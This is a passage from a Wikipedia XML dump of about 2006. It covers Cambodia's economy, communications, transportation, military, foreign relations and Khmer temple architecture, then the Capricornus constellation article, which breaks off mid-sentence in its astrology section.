Cambodia's emerging [[democracy]] has received strong international support. Under the mandate carried out by the [[United Nations Transitional Authority in Cambodia]] (UNTAC), $1.72 [[billion]] (1.72 G$) was spent in an effort to bring basic security, stability and democratic rule to the country. Regarding economic assistance, official donors had pledged $880 million at the [[Ministerial Conference on the Rehabilitation of Cambodia]] (MCRRC) in [[Tokyo]] in June 1992, to which pledges of $119 million were added in September 1993 at the meeting of the [[International Committee on the Reconstruction of Cambodia]] (ICORC) in [[Paris]], and $643 million at the March 1994 ICORC meeting in Tokyo. To date, therefore, the total amount pledged for Cambodia's rehabilitation is approximately 1.6 G$.

'''GDP:'''
purchasing power parity - 8.2 G$ (1999 est.)

'''GDP - real growth rate:'''
4% (1999 est.)

'''GDP - per capita:'''
purchasing power parity - $710 (1999 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
43%
&lt;br&gt;''industry:''
20%
&lt;br&gt;''services:''
37% (1998 est.)

'''Population below poverty line:'''
36% (1997 est.)

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''Inflation rate (consumer prices):'''
4.5% (1999 est.)

'''Labour force:'''
6 million (1998 est.)

'''Labour force - by occupation:'''
agriculture 80% (1999 est.)

'''Unemployment rate:'''
2.8% (1999 est.)

'''Budget:'''
&lt;br&gt;''revenues:''
327 M$
&lt;br&gt;''expenditures:''
393 M$, including capital expenditures of $NA (1999 est.)

'''Industries:'''
garments, rice milling, fishing, wood and wood products, rubber, cement, gem mining, textiles

'''Industrial production growth rate:'''
NA%

'''Electricity - production:'''
210 GWh (1998)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
59.52%
&lt;br&gt;''hydro:''
40.48%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
195 GWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
rice, rubber, corn, vegetables

'''Exports:'''
821 M$ (f.o.b., 1999 est.)

'''Exports - commodities:'''
timber, garments, rubber, rice, fish

'''Exports - partners:'''
US, Singapore, Japan, Thailand, Hong Kong, Indonesia, Malaysia, US

'''Imports:'''
1.2 G$ (f.o.b., 1999 est.)

'''Imports - commodities:'''
cigarettes, gold, construction materials, petroleum products, machinery, motor vehicles

'''Imports - partners:'''
Singapore, Vietnam, Japan, Australia, Hong Kong, Indonesia, Thailand

'''Debt - external:'''
829 M$ (1999 est.)

'''Economic aid - recipient:'''
470 M$ pledged in grants and concessional loans for 2000 by international donors

'''Currency:'''
1 new riel (CR) = 100 sen

'''Exchange rates:'''
new riels (CR) per US$1 - 3,786.0 (January 2000), 3,807.8 (1999), 3,744.4 (1998), 2,946.3 (1997), 2,624.1 (1996), 2,450.8 (1995)

'''Fiscal year:'''
calendar year

==See also==
* [[Economy of Asia]]
* [[List of Cambodian companies]]

{{WTO}}
[[Category:Economy of Cambodia| ]]
 
[[Category:WTO members|Cambodia]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Cambodia</title>
    <id>5433</id>
    <revision>
      <id>38371704</id>
      <timestamp>2006-02-05T22:21:11Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <text xml:space="preserve">This is an article about '''communications in [[Cambodia]]'''.

[[As of 1987]]?, the Cambodian state controls [[print media|printed]] and [[electronic media|electronic]] communications [[media]] and regulates their content. The most authoritative print medium in [[1987]] was the ruling [[KPRP]]'s biweekly journal, ''Pracheachon'' (The People), which was inaugurated in October [[1985]] to express the party's stand on domestic and international affairs. Almost as important, however, was the weekly of the [[KUFNCD]], ''Kampuchea''. The principal publication of the armed forces was the weekly ''Kangtoap Padevoat'' (''Revolutionary Army''). As of late 1987, Cambodia still had no daily newspaper.

[[Radio]] and [[television]] were under the direction of the Kampuchean Radio and Television Commission, created in [[1983]]. In [[1986]] there were about 200,000 radio receivers in the country. The [[Voice of the Kampuchean People]] (VOKP) radio programs were broadcast in [[Khmer language|Khmer]], [[Vietnamese language|Vietnamese]], [[French language|French]], [[English language|English]], [[Lao language|Lao]], and [[Thai language|Thai]]. With [[Vietnam]]ese assistance, television broadcasting was instituted on a trial basis in December 1983 and then regularly at the end of [[1984]]. As of March 1986, Television Kampuchea (TVK) operated two hours an evening, four days a week in the [[Phnom Penh]] area only. There were an estimated 52,000 television sets as of early 1986. In December 1986, Vietnam agreed to train Cambodian television technicians. The following month, the [[Soviet Union]] agreed to cooperate with Phnom Penh in the development of electronic media. Cambodian viewers began to receive Soviet television programs after March 1987, through a satellite ground station that the Soviet Union had built in Phnom Penh.

Beginning in [[1979]], the [[Heng Samrin]] regime encouraged people to read official journals and to listen to the radio every day. Widespread illiteracy and a scarcity of both print media and radio receivers, however, meant that few Cambodians could follow the government's suggestion. But even when these media were available, &quot;cadres and combatants&quot; in the armed forces, for example, were more interested in listening to music programs than in reading about &quot;the situation and developments in the country and the world or articles on good models of good people.&quot; 

==Telecommunications==

Postal, telegraph, and telegram services under the Ministry of Communications, Transport, and Posts were restored throughout most of the country in the early 1980s. Radio communications were frequent; the Voice of the Kampuchean People broadcast ten hours daily from Phnom Penh in the late 1980s. An estimated 171,000 radio sets existed in the country in 1984 (the last year for which data were available). Cambodia's only television station began broadcasting, with Vietnamese assistance, in December 1984. Color transmissions began in July 1986.

In January 1987, the Soviet-aided [[Intersputnik]] space communications station began operation in Phnom Penh and established two-way telecommunication links between the Cambodian capital and the cities of [[Moscow]], [[Hanoi]], [[Vientiane]], and [[Paris]]. The completion of the earth satellite station (built on the grounds of Phnom Penh's old [[Roman Catholic]] cathedral), restored the telephone and telex links among Phnom Penh, Hanoi, and other [[socialism|socialist]] countries for the first time since [[1975]]. Although telecommunications services were limited to the government, these advances in communications helped break down the country's isolation, both internally and internationally. 

'''[[Telephone]]s - main lines in use:'''
21,800 (mid-1998)

'''Telephones - mobile cellular:'''
34,880 (1998)

'''Telephone system:'''
adequate landline and/or cellular service in [[Phnom Penh]] and other provincial cities; rural areas have little telephone service
&lt;br&gt;''domestic:''
NA
&lt;br&gt;''international:''
adequate but expensive landline and cellular service available to all countries from Phnom Penh and major provincial cities; satellite earth station - 1 [[Intersputnik]] ([[Indian Ocean]] region)

'''[[Radio]] [[Broadcasting|broadcast]] stations:'''
AM 7, FM 3, shortwave 3 (1999)

'''Radios:'''
1.34 million (1997)

'''[[Television]] broadcast stations:'''
5 (1999)

'''Televisions:'''
94,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
2 (1999)

'''[[Country codes|Country code]] (Top-level domain):''' KH

 

[[Category:Communications in Cambodia| ]]
 
[[bg:&amp;#1050;&amp;#1086;&amp;#1084;&amp;#1091;&amp;#1085;&amp;#1080;&amp;#1082;&amp;#1072;&amp;#1094;&amp;#1080;&amp;#1080; &amp;#1074; &amp;#1050;&amp;#1072;&amp;#1084;&amp;#1073;&amp;#1086;&amp;#1076;&amp;#1078;&amp;#1072;]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Cambodia</title>
    <id>5434</id>
    <revision>
      <id>32883873</id>
      <timestamp>2005-12-27T15:57:41Z</timestamp>
      <contributor>
        <username>Easter Monkey</username>
        <id>396645</id>
      </contributor>
      <comment>/* Railways */  bypass redirect</comment>
      <text xml:space="preserve">War and continuing fighting severely damaged [[Cambodia]]'s transportation system&amp;mdash;a system that had been inadequately developed in peacetime. The country's weak infrastructure hindered emergency relief efforts and created tremendous problems of procurement of supplies in general and of distribution. Cambodia received Soviet technical assistance and equipment to support the maintenance of the transportation network.

==Railways==

* total - 603 km
* narrow gauge - 603 km 1000mm gauge

Cambodia had two rail lines, both originating in [[Phnom Penh]], totaling about 612 kilometers of single, one-meter-gauge track.  The French built the first line, which runs from Phnom Penh to [[Poipet]] on the Thai border, between 1930 and 1940.  Assistance from France, West Germany, and China, between 1960 and 1969, supported the construction of the second line, which runs from Phnom Penh to [[Sihanoukville]] at the southern coast.  Rail service ceased during the war, but resumed in the early 1980s.  Guerrilla activities, however, continued to disrupt service.

=== Railway links with adjacent countries ===

* [[Transportation in Thailand|Thailand]] - yes
* [[Transportation in Laos|Laos]] - no
* [[Transportation in Vietnam|Vietnam]] - no

==Highways==
* total - 35,769 km
* paved - 4,165 km
* unpaved - 31,604 km (1997 est.)

Of the current total, only about 20 percent of the roads and highways were covered with asphalt and were in passable condition; about 50 percent of the roads were made of crushed stone, gravel, or improved earth; and the remaining approximately 30 percent were unimproved earth or were little more than tracks. In 1981 Cambodia opened a newly repaired section of National Route 1, which runs southeast from Phnom Penh to the Vietnamese border. The road, which suffered damage during the war years, was restored most probably by Vietnamese army engineers. In the late 1980s, Cambodia's road network was both underutilized and unable to meet even the modest demands placed upon it by an unindustrialized and agrarian society (see fig. 8.). Commercial vehicles, such as trucks and buses, were insufficient in number and lacked spare parts necessary to keep them running. Road construction and maintenance were ignored by a financially hard-pressed government, while insurgents regularly destroyed bridges and rendered some routes unsafe for travel.

==Waterways==
The nation's extensive inland waterways were important historically in domestic trade. The [[Mekong]] and the [[Tonle Sap River]]s, their numerous tributaries, and the Tonle Sap provided avenues of considerable length, including 3,700 kilometers navigable all year by craft drawing 0.6 meters and another 282 kilometers navigable to craft drawing 1.8 meters. In some areas, especially west of the Mekong River and north of the Tonle Sab River, the villages were completely dependent on waterways for communications. Launches, junks, or barges transported passengers, rice, and other food in the absence of roads and railways.

According to the Ministry of Communications, Transport, and Posts, Cambodia's main ferry services crossing the Basak River and the middle Mekong River at Neak Luong (Phumi Prek Khsay), Tonle Bet, Sre Ambel, Kampong Cham, and Stoeng Treng were restored in 1985. The major Mekong River navigation routes also were cleared for traffic.

==Seaports and harbors==
Cambodia has two major ports, Phnom Penh and [[Sihanoukville]], also known as Kampong Som, and five minor ones. Phnom Penh, located at the junction of the [[Basak River|Basak]], the Mekong, and the Tonle Sab rivers, is the only [[river port]] capable of receiving 8,000-ton ships during the wet season and 5,000-ton ships during the dry season. It remains an important port for international commerce as well as for domestic communications.

Sihanoukville, Cambodia's only seaport, reopened in late 1979. It had been built in 1960 with French assistance. In 1980 some 180 Soviet dockworkers, having brought with them forklifts and trucks, were reportedly working at Kampong Som as longshoremen or as instructors of unskilled Cambodian port workers. By 1984 approximately 1,500 Cambodian port workers were handling 2.5 tons of cargo per day. According to official statistics, Sihanoukville had handled only 769,500 tons in the four prior years (1979 to 1983), a level that contrasted sharply with the port's peacetime capacity of about 1 million tons of cargo per year.

==Merchant marine==
* total - 211 [[ship]]s (1,000 [[GRT]] or over) totaling 953,105 [[GRT]]/1,345,766 [[DWT]]
* ships by type - bulk 20, [[cargo]] 166, combination bulk 1, container 5, livestock carrier 2, multi-functional large load carrier 1, passenger/cargo 1, petroleum tanker 2, refrigerated cargo 7, roll-on/roll-off 6 (1999 est.)
* note - a flag of convenience registry; includes ships of 8 countries: [[Aruba]] 1, [[Cyprus]] 7, [[Egypt]] 1, [[South Korea]] 1, [[Malta]] 1, [[Panama]] 1, [[Russia]] 5, [[Singapore]] 1 (1998 est.)

==Airports==
19 (1999 est.)
The country possesses twenty-six airfields, of which only thirteen were usable in the mid-1980s. Eight airfields had permanent-surface runways. Pochentong International Airport near Phnom Penh is the largest airport; it also serves as the main base for the renascent Cambodian Air Force (see Kampuchean, or Khmer, People's Revolutionary Armed Forces, ch. 5). Cambodia opened a new Soviet-built airfield at Ream near Kampong Saom in late 1983. There are additional secondary airports in Siemreab and in Batdambang.

Air Kampuchea was established in 1982 and flew only one route-- from Phnom Penh to Ho Chi Minh City in Vietnam. In 1984 commercial air service was inaugurated between Phnom Penh and Hanoi with the arrival at Hanoi International Airport of the Kampuchean Civil Aviation Company's (AKASCHOR) first flight. Since then, there has been regular air service from Phnom Penh to Hanoi, Vientiane, and Moscow.

=== Airports - with paved runways ===
&lt;br /&gt;''total:''
6
&lt;br /&gt;''2,438 to 3,047 m:''
2
&lt;br /&gt;''1,524 to 2,437 m:''
2
&lt;br /&gt;''914 to 1,523 m:''
2 (1999 est.)

=== Airports - with unpaved runways ===
&lt;br /&gt;''total:''
13
&lt;br /&gt;''1,524 to 2,437 m:''
2
&lt;br /&gt;''914 to 1,523 m:''
11 (1999 est.)

'''[[Heliport]]s:'''
3 (1999 est.)

==See also==
*[[Cambodia]]
*[[Pochentong International Airport]]


{{CIAfb}}


[[Category:Transportation in Cambodia|*]]



[[bg:&amp;#1058;&amp;#1088;&amp;#1072;&amp;#1085;&amp;#1089;&amp;#1087;&amp;#1086;&amp;#1088;&amp;#1090; &amp;#1074; &amp;#1050;&amp;#1072;&amp;#1084;&amp;#1073;&amp;#1086;&amp;#1076;&amp;#1078;&amp;#1072;]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Cambodia</title>
    <id>5435</id>
    <revision>
      <id>40529417</id>
      <timestamp>2006-02-21T05:44:59Z</timestamp>
      <contributor>
        <ip>203.94.168.166</ip>
      </contributor>
      <text xml:space="preserve">'''[[Military]] branches:'''
[[Royal Cambodian Armed Forces]] (RCAF), including Army, Navy and Air Force - created in [[1993]] by the merger of the [[Cambodian People's Armed Forces]] and the two noncommunist resistance armies
&lt;br&gt;''note:''
there are also resistance forces comprised of the [[Khmer Rouge]] (also known as the National United Army or NUA) and a separate [[monarchist|royalist]] resistance movement

'''Military manpower - military age:'''
18 years of age

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
2,763,568 (2000 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
1,547,078 (2000 est.)

'''Military manpower - reaching military age annually:'''
&lt;br&gt;''males:''
156,119 (2000 est.)

'''Military expenditures - dollar figure:'''
$85 million (FY98)

'''Military expenditures - percent of GDP:'''
2.4% (FY98)

==See also==
*[[Cambodia]]

[[bg:&amp;#1040;&amp;#1088;&amp;#1084;&amp;#1080;&amp;#1103; &amp;#1085;&amp;#1072; &amp;#1050;&amp;#1072;&amp;#1084;&amp;#1073;&amp;#1086;&amp;#1076;&amp;#1078;&amp;#1072;]]
[[Category:Military of Cambodia]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Cambodia</title>
    <id>5436</id>
    <revision>
      <id>42055973</id>
      <timestamp>2006-03-03T14:24:50Z</timestamp>
      <contributor>
        <ip>58.105.43.244</ip>
      </contributor>
      <text xml:space="preserve">{{CIA}}

{{Politics of Cambodia}}
'''The Royal [[Cambodia]]n Government''' (RGC) has established diplomatic relations with most countries, including the [[United States]], the [[United Kingdom]], and [[France]], as well as all of its Asian neighbors, to include [[China]], [[Vietnam]], [[Laos]], [[South Korea]], [[North Korea]], and [[Thailand]]. The RGC is a member of most major international organizations, including the [[United Nations]] and its specialized agencies such as the [[World Bank]] and [[International Monetary Fund]]. The RGC is an [[Asian Development Bank]] (ADB) member, a member of [[ASEAN]], and is in the process of securing membership in the [[world Trade Organization|WTO]].  In 2005 Cambodia attended the inaugural [[East Asia Summit]].

==Disputes - international==

Offshore islands and sections of the boundary with [[Vietnam]] are in dispute; maritime boundary with Vietnam not defined; parts of border with [[Thailand]] are indefinite; maritime boundary with Thailand not clearly defined.

==Illicit drugs==

Transhipment site for [[Golden Triangle]] heroin; possible [[money laundering]]; narcotics-related corruption reportedly involving some in the government, military, and police; possible small-scale [[opium]], [[heroin]], and [[amphetamine]] production; large producer of [[cannabis (drug)|cannabis]] for the international market.

==External links==
*[http://www.mfaic.gov.kh/Diplomatic%20Relations/maindiplom.htm Cambodian Ministry of Foreign Affairs Diplomatic list]
*[http://dosfan.lib.uic.edu/ERC/frus/summaries/950306_FRUS_XXIII_1961-63.html US Department of State: Foreign relations with Southeast Asia 1961-63]
*[http://www.auswaertiges-amt.de/www/en/laenderinfos/laender/laender_ausgabe_html?type_id=14&amp;land_id=73 Foreign relations between Cambodia and Germany]
*[http://www.mofa.go.jp/region/asia-paci/cambodia/ Japan-Cambodia Relations]
*[http://www.cambodia.gov.kh/unisql1/egov/english/country.foreign_embassy.html List of foreign embassies in Cambodia]
*[http://www.dfat.gov.au/geo/cambodia/cambodia_brief.html Foreign relations between Cambodia and Australia]
*[http://www.asiasociety.org/publications/cambodia/ AsiaSociety: essays relating to the development of Cambodia]
*[http://newton.uor.edu/Departments&amp;Programs/AsianStudiesDept/cambodia-pol.html Links regarding foreign relations in Cambodia]

[[Category:Foreign relations of Cambodia|  ]]
 

[[bg:&amp;#1042;&amp;#1098;&amp;#1085;&amp;#1096;&amp;#1085;&amp;#1072; &amp;#1087;&amp;#1086;&amp;#1083;&amp;#1080;&amp;#1090;&amp;#1080;&amp;#1082;&amp;#1072; &amp;#1085;&amp;#1072; &amp;#1050;&amp;#1072;&amp;#1084;&amp;#1073;&amp;#1086;&amp;#1076;&amp;#1078;&amp;#1072;]]</text>
    </revision>
  </page>
  <page>
    <title>Architecture of Cambodia</title>
    <id>5437</id>
    <revision>
      <id>34042209</id>
      <timestamp>2006-01-06T00:15:22Z</timestamp>
      <contributor>
        <username>YurikBot</username>
        <id>271058</id>
      </contributor>
      <minor />
      <comment>robot  Adding: vi</comment>
      <text xml:space="preserve">[[Image:Angkor wat.jpg|frame|Angkor Wat]]The '''Architecture of Cambodia''' developed in a series of stages under the Khmer empire: the approximate date of a structure can be determined from the elements and styles used.   Hardly any secular architecture remains from this time, as only religious buildings were made of stone.

==Features==

[[Image:Apsarasdevatakdei01.jpg|thumb|100px|Apsaras (left) and a devata (right) at [[Banteay Kdei]].]]The architecture of the Angkor period used certain specific structural features and styles which (along with inscriptions) are one of the main methods used to date the temples.

===Apsaras and devatas===

[[Apsara]]s, or celestial dancing girls, originated in Indian mythology, but their widespread decorative use was a Khmer innovation.   The term is commonly used to cover not only dancers but any heavenly nymphs, although the latter are technically devatas rather than apsaras.   True apsaras are found in the [[Architecture_of_Cambodia#Hall of Dancers|Halls of Dancers]] and are seen in bas-reliefs flying above sacred scenes, while the largest population of devatas (around 2000) is at [[Angkor Wat]], where they appear individually or in groups.

===Blind doors and windows===

[[Image:Colonettesbanteaysrei.JPG|thumb|100px|Blind door with colonettes at [[Banteay Srei]].]][[Blind door]]s were typically used to balance true doorways.   Shrines frequently opened only towards one direction: the other three sides therefore featured blind doors to maintain symmetry.   [[Blind window]]s were often used along otherwise blank walls.

===Central sanctuary===

The central sanctuary was home to the temple's primary deity, that to whom the site was dedicated.   The god or [[Buddha]], as appropriate, was represented by a statue (or in the case of [[Shiva]], sometimes by a [[linga]]).   As the temple was not place for worship by the population at large, the sanctuary needed only to be large enough to hold this statue; it was never more than a few metres across.   Its importance was instead conveyed by the height of the tower above it, by its location at the centre of the temple (both indicative of the sanctuary's representing [[Mount Meru]]) and by the greater amount of decoration on its walls.

===Colonettes===
[[Colonette]]s were used as decoration on either side of doorways.

===Corbelling===

[[Image:Corbelangkorthomsouth.JPG|thumb|100px|left|Corbel arch at the south gate of Angkor Thom.]]Rather than a true [[arch]], the Khmers used [[corbel]] arches.   These were constructed by adding layers of stones to the walls on either side, with each layer projecting further towards the centre.   This method, while adequate, made the temples particularly prone to collapse once the buildings were no longer maintained.

===Enclosures===

Khmer temples were typically enclosed by a concentric series of walls, with the central sanctuary in the middle: this arrangement represented the mountain ranges surrounding [[Mount Meru]].  The enclosures are numbered from the centre outwards.  Galleries frequently ran along them, while passage through them was through gopuras at the cardinal points.   

===Gallery===

[[Image:Cruciformgalleryangkorwat.JPG|thumb|100px|right|Cruciform gallery at Angkor Wat.]]The gallery was a passageway running along the wall of an enclosure or along the axis of a temple, often open to one or both sides.   The form evolved during the [[10th century]] from the increasingly long hallways which had earlier been used to surround the central sanctuary.  During the later [[Angkor Wat]] period, additional half galleries on one side were introduced to [[buttress]] the structure of the temple.

===Gopura===

[[Image:Gopurataprohm.JPG|thumb||100px|left|Gopura at [[Ta Prohm]].]]A gopura was an entrance building.   Each enclosure of a temple usually had a gopura at each of the four [[cardinal point]]s.   In plan they were most often cross-shaped, elongated along the axis of the enclosure wall; where the wall had a gallery, this could be connected to the arms of the gopura.   Many gopuras had a tower at the centre of the cross.   The lintels and pediments were often decorated, and guardian figures (dvarapalas) were often placed or carved on either side of the doorways.

===Hall of Dancers===

The Hall of Dancers is a structure found at [[Ta Prohm]], [[Preah Khan]], [[Banteay Kdei]] and [[Banteay Chhmar]].   In each case it is a rectangular building elongated along the temple's east axis; and divided into four courtyards by galleries. The roofs were made of perishable materials and have disappeared.  The pillars of the galleries are decorated with dancing apsaras, hence the presumption that the buildings were used for dancing.

===House of Fire===

The House of Fire, or ''Dharmasala'', found only in temples of [[Javarman VII]]'s reign, is enigmatic.  121 are known, all along the highways in and out of Angkor; it seems therefore to have been a resting point of some kind, either for travellers or (as the name suggests) for the sacred flame used in religious ceremonies.  It has thick walls , a tower at the west end and south-facing windows.   Examples include those at [[Preah Khan]], [[Ta Prohm]] and [[Banteay Chhmar]].
[[Image:Libraryangkorwat.JPG|thumb|Library at Angkor Wat; unusually, the libraries here open both east and west.]]

===Library===

The library is one of the most common features of Khmer temple architecture, but it is still not certain what they were used for.   Most likely they were shrines rather than actual libraries.   Free-standing buildings, they were normally placed in pairs on either side of the entrance to an enclosure, opening to the west.

===Lintels and pediments===

[[Image:Pedlintelsrei.JPG|thumb|left|Lintel and pediment at [[Banteay Srei]]; the pediment shows [[Shiva]] [[Nataraja]].]]Because of their position at the point of entrance to the temple, [[lintel]]s (horizontal blocks at the top of doorways) and [[pediment]]s (triangular panels above the lintels) had particular significance in Khmer temple architecture.  The decoration of lintels passed through a series of styles which provide a useful guide for the dating of temples: protective [[kala]]s, [[Naga (mythology)|naga]]s and [[makara]]s were common motifs.  Also frequently appearing were the gods associated with the direction in which the particular lintel faced.

===Nagas===

[[Image:Ankor Tom in Cambodia 001.JPG|thumb|200px|Demons holding the naga on a bridge entering [[Angkor Thom]].]]Mythical serpents, or [[Naga (mythology)|naga]]s (often with five or seven heads), were commonly used as decorative motifs in Khmer architecture.   Naga bridges were causeways or true bridges with nagas running down either side as [[balustrade]]s.   In some cases, as with the bridges at the entrances to [[Angkor Thom]], the nagas were held by gods and demons as in the story of the [[Bhagavata_Purana|Churning of the Ocean of Milk]].   The significance of the nagas may be as explained as bridges between the world of the gods and that of men, or as guardians of wealth.

===Quincunx===

[[Image:Quincunxlingakbalspean01.JPG|thumb|200px|left|Linga in the form of a quincunx, set inside a [[yoni]], at Kbal Spean.]]The identification of the [[Architecture of Cambodia#Central sanctuary|central sanctuary]] with [[Mount Meru]] was often emphasised by the inclusion of four towers surrounding the central prang in the form of a [[quincunx]] (Mount Meru having five peaks in this arrangement).   The rectangular plan of the typical Khmer temple easily lent itself to this design.    The quincunx also appears elsewhere in designs of the Angkor period, as in the riverbed carvings of [[Kbal Spean]].

===Srahs and barays===

Srahs and barays were [[reservoir (water)|reservoirs]], generally created by excavation and embankment respectively.   The two largest at Angkor were the [[West Baray]] and the [[East Baray]], located on either side of [[Angkor Thom]].   Temples were built in the middle of both of these (the [[West Mebon|West]] and [[East Mebon]]s), while [[Neak Pean]] was built at the centre of [[Preah Khan]]'s [[Jayatataka]].   It is not clear to what extent the significance of the reservoirs was religious, agricultural, or a combination of the two.

===Temple mountain===

Temple mountains took the form of representations of [[Mount Meru]], home of the gods in [[Hinduism|Hindu]] mythology.   The temples were built in a series of tiers, each shorter than the last to create an illusion of greater height.   The first known example was [[Ak Yum]], although very little of that structure now remains; others at Angkor were [[Bakheng]], [[Bakong]], [[Bapuon]], [[Pre Rup]], [[Ta Keo]] and most notably [[Angkor Wat]].   Each of these was in turn  the state temple, and thus the religious centre of the whole empire.

==Reference==

*Freeman, Michael and Jacques, Claude.  ''Ancient Angkor''. River Books, [[1999]]. ISBN 0834804263.

[[Category:Cambodian architecture]]

[[fr:Architecture khmère]]
[[vi:Kiến trúc Khmer]]</text>
    </revision>
  </page>
  <page>
    <title>Capricorn</title>
    <id>5438</id>
    <revision>
      <id>15903646</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Capricornus]]
</text>
    </revision>
  </page>
  <page>
    <title>Capricornus</title>
    <id>5439</id>
    <revision>
      <id>41994944</id>
      <timestamp>2006-03-03T02:40:51Z</timestamp>
      <contributor>
        <username>BorgQueen</username>
        <id>382591</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.58.83.154|24.58.83.154]] ([[User talk:24.58.83.154|talk]]) to last version by El C</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Capricornus |
abbreviation = Cap |
genitive = Capricorni |
symbology = the [[Horn (anatomy)|Horned]] [[Goat]]|
RA = 21 |
dec= &amp;minus;20 |
areatotal = 414 |
arearank = 40th |
numberstars = 1 |
starname = [[Delta Capricorni|&amp;delta; Cap]] (Deneb Algedi) |
starmagnitude = 3.0 |
meteorshowers =
*[[Alpha Capricornids]]
*[[Chi Capricornids]]
*[[Sigma Capricornids]]
*[[Tau Capricornids]]
*[[Capricorniden-Sagittariids]] |
bordering =
*[[Aquarius]]
*[[Aquila (constellation)|Aquila]]
*[[Sagittarius]]
*[[Microscopium]]
*[[Piscis Austrinus]] |
latmax = 60 |
latmin = 90 |
month = September |
notes=}}
'''Capricornus''' ([[Image:Capricorn_symbol.png|20px]] or [[Image:Capricorn_symbol_2.png|20px]], Unicode: ♑), a name meaning &quot;[[Horn (anatomy)|Horned]] [[Goat]]&quot; or &quot;That which has horns like a goat's&quot; in [[Latin]], is one of the [[constellation|constellations]] of the [[zodiac]]. It is commonly called '''Capricorn''', especially in [[astrology]]. It is commonly called the sea-goat, as it is in an area of the sky known as the [[Sea (astronomy)|Sea]].  Capricornus is one of the 88 modern constellations, and was also one of the 48 constellations listed by [[Ptolemy]]. Under its modern boundaries it is bordered by [[Aquila (constellation)|Aquila]], [[Sagittarius]], [[Microscopium]], [[Piscis Austrinus]] and [[Aquarius]].

== Notable features ==
This constellation is the dimmest in the zodiac besides [[Cancer (constellation)|Cancer]]. Its brighter stars are found on a triangle whose vertices are [[Alpha Capricorni|&amp;alpha; Cap]] (Giedi), [[Delta Capricorni|&amp;delta; Cap]] (Deneb Algiedi), and [[Omega Capricorni|&amp;omega; Cap]].

== History ==
This constellation is one of the oldest to have been identified, possibly the oldest, despite its dimness. Since it falls in an area of the sky known as the sea, it became considered a sea-goat (in the same sense as a [[mermaid|sea-maiden]]). Depictions of a goat or goat-fish have been found on [[Babylon]]ian tablets dating back three thousand years. The constellation may owe its antiquity to the fact that at that time, the northern hemisphere's [[Winter Solstice]] occurred while the sun was in Capricorn. The concern for the sun's rebirth might have rendered astronomical and astrological observation of this region of space very important.

For the same reason, the sun's most southerly position, which is attained at the northern hemisphere's winter solstice, is now called the [[Tropic of Capricorn]], a term which also applies to the line on earth where the sun is directly overhead at noon on that solstice.

Due to early Greek beliefs that [[sin]] accumulated throughout the year, causing the darkness to increase, together with the sun's descent and pause at the Solstice, the ancient Greeks referred to this area of sky as ''the Augean Stable'', where they considered the sun ''stabled'' during the year. The cause of the association with the location or name of ''Augeas'' is not currently known. However, during the classical period of Greek history, this name gradually fell out of use.

Due to the [[precession]] of the equinoxes, the December solstice no longer takes place while the sun is in Capricorn, but the astrological period called Capricorn begins at approximately the same time as the solstice. 

The planet [[Neptune (planet)|Neptune]] was discovered in this constellation by German astronomer [[Johann Galle]], near Deneb Algedi (&amp;delta; Capricorni) on [[September 23]], [[1846]], which is reasonable as Capricornus can be seen best at [[9:00]] in [[September]].

== Mythology ==
This constellation is sometimes identified as [[Amalthea (mythology)|Amalthea]], the goat that suckled the infant [[Zeus]] after his mother [[Rhea (mythology)|Rhea]] saved him from being devoured by his father [[Cronos]] in [[Greek mythology]]. The goat's broken horn was transformed into the [[cornucopia]] or horn of plenty. Some ancient sources claim that this derives from the sun &quot;taking nourishment&quot; while in the constellation, in preparation for its climb back northward.

However, the constellation is often depicted as a sea-goat, a goat with a fish's tail. One myth that deals with this says that when the goat-god [[Pan (god)|Pan]] was attacked by the monster [[Typhon]], he dove into the [[Nile]]; the parts above the water remained a goat, but those under the water transformed into a fish. 

In [[Sumeria]], the constellation was associated with the god [[Ea]] or [[Enki]], who brought culture out of the sea to humankind.

The constellation, together with its early greek name, associated ideas about sin, and the constellation of [[Aquarius]], who was said to have poured out a river, may represent the origin of the myth of the [[Augean Stable]], which forms one of [[The Twelve Labours]] of [[Herakles]].

The constellation is located in an area of sky called the [[Sea (astronomy)|Sea]] or Water, consisting of many watery constellations such as [[Aquarius]], [[Pisces]], and [[Eridanus (constellation)|Eridanus]].

===Astrology===
The Western [[astrological sign]] Capricorn of the [[tropical zodiac]] ([[December 22]] - [[January 19]]) differs from the astronomical constellation and the Hindu astrological sign of the [[Sidereal astrology|sidereal zodiac]] ([[January 19]] - [[February 15]]).

In some cosmologies, Capricorn is associated with the [[classical element]] [[Earth (classical element)|Earth]], and thus called an Earth Sign (with [[Taurus]] and [[Virgo]]). It is also one of the four [[Cardinal sign]]s (along with [[Aries]], [[Cancer (constellation)|Cancer]], and [[Libra]]). It is the [[domicile (astrology)|domicile]] of [[Saturn (planet)|Saturn]] and the [[exaltation (astrology)|exaltation]] of [[Mars (planet)|Mars]]. Its polar opposite is Cancer. Each astrological sign is assigned a part of the body, viewed as the seat of its power. Capricorn rules the [[knee|knees]], [[bones]], and [[skin]]. The ancient symbol of this sign is the [[sea monster]], which harks back to the time in antiquity when Capricorn was considered a water sign and not an earth sign. The symbol for this eventually changed to that of a [[seagoat]], which is a mythological creature that has the head and upper body of a goat and the lower body of a fish, and this was an attempt to meld the watery qualities that this sign originally possessed with the earthly qualities that astrologers wanted it to acquire. In modern times the symbolism for this sign has evolved once again, with astrologers doing away with the figure of the 